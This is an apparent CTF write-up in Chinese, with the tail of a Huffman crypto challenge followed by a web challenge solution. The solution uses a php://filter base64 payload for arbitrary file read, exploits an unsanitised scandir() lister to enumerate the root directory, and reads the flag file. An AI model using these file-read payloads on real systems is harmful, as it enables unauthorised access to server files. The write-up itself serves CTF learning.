CRYPTO哈夫曼之谜
1 | 11000111000001010010010101100110110101111101110101011110111111100001000110010110101111001101110001000110 |
1 | import huffman |
#babyt3
http://ctf1.linkedbyx.com:10300
首页发现是任意文件读取,然后又看到hint,base64解码得到dir.php,然后用php伪协议读取dir.php,再base64解码
payload:1
http://ctf1.linkedbyx.com:10300/?file=php://filter/read=convert.base64-encode/resource=dir.php
得到源码1
2
3
4
5
6
$a = @$_GET['dir'];
if(!$a){
$a = '/tmp';
}
var_dump(scandir($a));
scandir() 函数返回指定目录中的文件和目录的数组,再同级和上级目录都试试,发现上级目录是存在文件的
payload:1
http://ctf1.linkedbyx.com:10300/dir.php?dir=/..
返回目录信息1
array(25) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) ".dockerenv" [3]=> string(3) "bin" [4]=> string(4) "boot" [5]=> string(3) "dev" [6]=> string(3) "etc" [7]=> string(16) "ffffflag_1s_Her4" [8]=> string(4) "home" [9]=> string(3) "lib" [10]=> string(5) "lib64" [11]=> string(5) "media" [12]=> string(3) "mnt" [13]=> string(7) "my_init" [14]=> string(10) "my_service" [15]=> string(3) "opt" [16]=> string(4) "proc" [17]=> string(4) "root" [18]=> string(3) "run" [19]=> string(4) "sbin" [20]=> string(3) "srv" [21]=> string(3) "sys" [22]=> string(3) "tmp" [23]=> string(3) "usr" [24]=> string(3) "var" }
发现ffffflag_1s_Her4,再读取就好了,得到flag
payload:1
http://ctf1.linkedbyx.com:10300/?file=/ffffflag_1s_Her4